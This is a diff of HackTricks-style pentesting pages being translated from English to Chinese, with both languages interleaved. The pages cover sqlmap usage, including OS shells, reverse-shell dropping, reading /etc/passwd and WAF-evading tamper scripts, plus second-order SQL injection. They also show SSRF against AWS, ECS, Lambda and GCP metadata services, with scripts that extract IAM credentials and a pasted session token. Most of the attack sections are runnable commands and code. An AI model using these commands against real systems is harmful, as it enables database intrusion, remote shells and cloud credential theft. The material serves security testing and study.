sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -123,15 +104,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Read File
### 读取文件
```bash
--file-read=/etc/passwd
```
### Crawl a website with SQLmap and auto-exploit
### 使用SQLmap爬取网站并自动利用
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -139,102 +116,90 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Second Order Injection
### 二次注入
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**阅读此帖子** ](second-order-injection-sqlmap.md)**关于如何使用 sqlmap 执行简单和复杂的二次注入。**
[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.**
## Customizing Injection
### Set a suffix
## 自定义注入
### 设置后缀
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Prefix
### 前缀
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Help finding boolean injection
### 帮助寻找布尔注入
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md).
记住,**你可以用 Python 创建自己的 tamper**,这非常简单。你可以在[第二次注入页面这里](second-order-injection-sqlmap.md)找到一个 tamper 示例。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' |
| concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
| escapequotes.py | Slash escape quotes (' and ") |
| greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters |
| percentage.py | Adds a percentage sign ('%') infront of each character |
| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character (' ') with comments |
| space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
| space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
| space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
| space2plus.py | Replaces space character (' ') with plus ('+') |
| space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | 用其 UTF-8 全宽对应字符替换撇号字符 |
| apostrophenullencode.py | 用其非法双重 Unicode 对应字符替换撇号字符 |
| appendnullbyte.py | 在有效负载末尾附加编码的 NULL 字节字符 |
| base64encode.py | 对给定有效负载中的所有字符进行 Base64 编码 |
| between.py | 用 'NOT BETWEEN 0 AND #' 替换大于运算符 ('>') |
| bluecoat.py | 用有效的随机空白字符替换 SQL 语句后的空格字符。然后用 LIKE 运算符替换字符 = |
| chardoubleencode.py | 对给定有效负载中的所有字符进行双重 URL 编码(不处理已编码的字符) |
| commalesslimit.py | 用 'LIMIT N OFFSET M' 替换类似 'LIMIT M, N' 的实例 |
| commalessmid.py | 用 'MID(A FROM B FOR C)' 替换类似 'MID(A, B, C)' 的实例 |
| concat2concatws.py | 用 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' 替换类似 'CONCAT(A, B)' 的实例 |
| charencode.py | 对给定有效负载中的所有字符进行 URL 编码(不处理已编码的字符) |
| charunicodeencode.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"%u0022" |
| charunicodeescape.py | 对给定有效负载中未编码的字符进行 Unicode URL 编码(不处理已编码的字符)。"\u0022" |
| equaltolike.py | 用运算符 'LIKE' 替换所有等于运算符 ('=') 的出现 |
| escapequotes.py | 斜杠转义引号 (' 和 ") |
| greatest.py | 用 'GREATEST' 对应字符替换大于运算符 ('>') |
| halfversionedmorekeywords.py | 在每个关键字前添加版本化的 MySQL 注释 |
| ifnull2ifisnull.py | 用 'IF(ISNULL(A), B, A)' 替换类似 'IFNULL(A, B)' 的实例 |
| modsecurityversioned.py | 用版本化注释包裹完整查询 |
| modsecurityzeroversioned.py | 用零版本化注释包裹完整查询 |
| multiplespaces.py | 在 SQL 关键字周围添加多个空格 |
| nonrecursivereplacement.py | 用适合替换的表示法替换预定义的 SQL 关键字(例如 .replace("SELECT", "")过滤器 |
| percentage.py | 在每个字符前添加百分号 ('%') |
| overlongutf8.py | 转换给定有效负载中的所有字符(不处理已编码的字符) |
| randomcase.py | 用随机大小写值替换每个关键字字符 |
| randomcomments.py | 向 SQL 关键字添加随机注释 |
| securesphere.py | 附加特殊构造的字符串 |
| sp_password.py | 在有效负载末尾附加 'sp_password' 以自动混淆 DBMS 日志 |
| space2comment.py | 用注释替换空格字符 (' ') |
| space2dash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
| space2hash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
| space2morehash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟随机字符串和换行符 ('\n') |
| space2mssqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mssqlhash.py | 用井号字符 ('#') 替换空格字符 (' '),后跟换行符 ('\n') |
| space2mysqlblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| space2mysqldash.py | 用破折号注释 ('--') 替换空格字符 (' '),后跟换行符 ('\n') |
| space2plus.py | 用加号 ('+') 替换空格字符 (' ') |
| space2randomblank.py | 用有效替代字符集中的随机空白字符替换空格字符 (' ') |
| symboliclogical.py | 用其符号对应物(&& 和)替换 AND 和 OR 逻辑运算符 |
| unionalltounion.py | 用 UNION SELECT 替换 UNION ALL SELECT |
| unmagicquotes.py | 用多字节组合 %bf%27 替换引号字符 ('),并在末尾添加通用注释(以使其工作) |
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |
| xforwardedfor.py | 附加假 HTTP 头 'X-Forwarded-For' |
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
{{#include ../../../banners/hacktricks-training.md}}
**SQLMap can exploit Second Order SQLis.**\
You need to provide:
**SQLMap 可以利用二次 SQL 注入。**\
您需要提供:
- The **request** where the **sqlinjection payload** is going to be saved
- The **request** where the **payload** will be **executed**
- 保存 **sqlinjection payload** 的 **请求**
- **执行** **payload** 的 **请求**
The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.
**Simple second order example:**
保存 SQL 注入 payload 的请求 **与 sqlmap 中的任何其他注入相同**。可以使用 `--second-url``--second-req` 指定 **sqlmap 可以读取注入的输出/执行** 的请求,如果您需要从文件中指示完整请求。
**简单的二次注入示例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -17,11 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
在某些情况下**这还不够**,因为您需要**执行其他操作**,除了发送有效负载和访问不同的页面。
In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.
When this is needed you can use a **sqlmap tamper**. For example the following script will register a new user **using sqlmap payload as email** and logout.
当需要这样做时,您可以使用**sqlmap tamper**。例如,以下脚本将注册一个新用户**使用 sqlmap 有效负载作为电子邮件**并注销。
```python
#!/usr/bin/env python
@ -31,36 +28,34 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
一个 **SQLMap tamper 总是在开始注入尝试之前执行,并且必须返回一个有效负载**。在这种情况下,我们不关心有效负载,但我们关心发送一些请求,因此有效负载不会改变。
A **SQLMap tamper is always executed before starting a injection try with a payload** **and it has to return a payload**. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.
因此,如果出于某种原因,我们需要一个更复杂的流程来利用二次 SQL 注入,例如:
So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
- Create an account with the SQLi payload inside the "email" field
- Logout
- Login with that account (login.txt)
- Send a request to execute the SQL injection (second.txt)
**This sqlmap line will help:**
- 在“email”字段中创建一个包含 SQLi 有效负载的帐户
- 登出
- 使用该帐户登录 (login.txt)
- 发送请求以执行 SQL 注入 (second.txt)
**这条 sqlmap 命令将会有所帮助:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -75,6 +70,4 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{{#include ../../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long

View File

@ -4,19 +4,18 @@
## AWS
### Abusing SSRF in AWS EC2 environment
### 在 AWS EC2 环境中滥用 SSRF
**The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**元数据** 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问: `http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))。
There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).
元数据端点有 **2 个版本**。**第一个** 版本允许通过 **GET** 请求 **访问** 该端点(因此任何 **SSRF 都可以利用它**)。对于 **版本 2**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有 **HTTP 头****PUT** 请求来请求 **令牌**,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 **更复杂**)。
> [!CAUTION]
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
> 请注意,如果 EC2 实例强制执行 IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT 请求的响应** 将具有 **跳数限制为 1**,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
>
> Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:
> 此外,**IMDSv2** 还将 **阻止包含 `X-Forwarded-For` 头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
您可以在文档中找到有关 [元数据端点的信息](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。在以下脚本中,从中获取了一些有趣的信息:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -24,11 +23,11 @@ URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
@ -46,25 +45,25 @@ eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
@ -76,89 +75,79 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
作为一个**公开可用的IAM凭证**暴露示例,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
您还可以在以下地址检查公共**EC2安全凭证**[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
然后,您可以**使用这些凭证与AWS CLI**。这将允许您执行**该角色具有权限**的任何操作。
要利用新凭证您需要创建一个新的AWS配置文件如下所示
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意 **aws_session_token**,这是使配置文件正常工作的必需品。
Notice the **aws_session_token**, this is indispensable for the profile to work.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) 可以与发现的凭据一起使用,以找出您的权限并尝试提升权限。
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
### AWS ECS容器服务中的 SSRF 凭据
### SSRF in AWS ECS (Container Service) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** inside the machine.\
You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\
The mentioned http address should give you the **AccessKey, SecretKey and token**.
**ECS** 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 **ECS** 中运行的服务,**元数据端点会发生变化**。
如果您访问 _**http://169.254.170.2/v2/credentials/\<GUID>**_,您将找到 ECS 机器的凭据。但首先,您需要 **找到 \<GUID>**。要找到 \<GUID>,您需要读取机器内部的 **environ** 变量 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**。\
您可以通过利用 **路径遍历** 来读取它,路径为 `file:///proc/self/environ`。\
提到的 http 地址应该会给您 **AccessKey、SecretKey 和 token**
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
> 请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**请检查之前提到的IMDSv2 TTL限制。在这些场景中您可以从容器访问容器的IAM角色和EC2的IAM角色。
### SSRF for AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
在这种情况下,**凭证存储在环境变量中**。因此,要访问它们,您需要访问类似于**`file:///proc/self/environ`**的内容。
The **name** of the **interesting env variables** are:
**有趣的环境变量**的**名称**是:
- `AWS_SESSION_TOKEN`
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
此外除了IAM凭证Lambda函数在启动时还会有**传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(例如在**stageVariables**中。与IAM凭证不同这些数据可以通过标准SSRF访问**`http://localhost:9001/2018-06-01/runtime/invocation/next`**。
> [!WARNING]
> Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app.
> 请注意,**lambda凭证**在**环境变量**中。因此如果lambda代码的**堆栈跟踪**打印环境变量,则可能通过在应用中**引发错误**来**外泄它们**。
### SSRF URL for AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
We retrieve the `accountId` and `region` from the API.
我们从API中检索`accountId``region`
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
然后我们从 API 中获取 `AccessKeyId``SecretAccessKey``Token`
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
然后我们使用凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`
## GCP <a href="#id-6440" id="id-6440"></a>
You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
您可以 [**在这里找到关于元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
### SSRF URL for Google Cloud <a href="#id-6440" id="id-6440"></a>
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs:
需要 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
Interesting endpoints to extract information:
提取信息的有趣端点:
```bash
# /project
# Project name and number
@ -198,22 +187,22 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
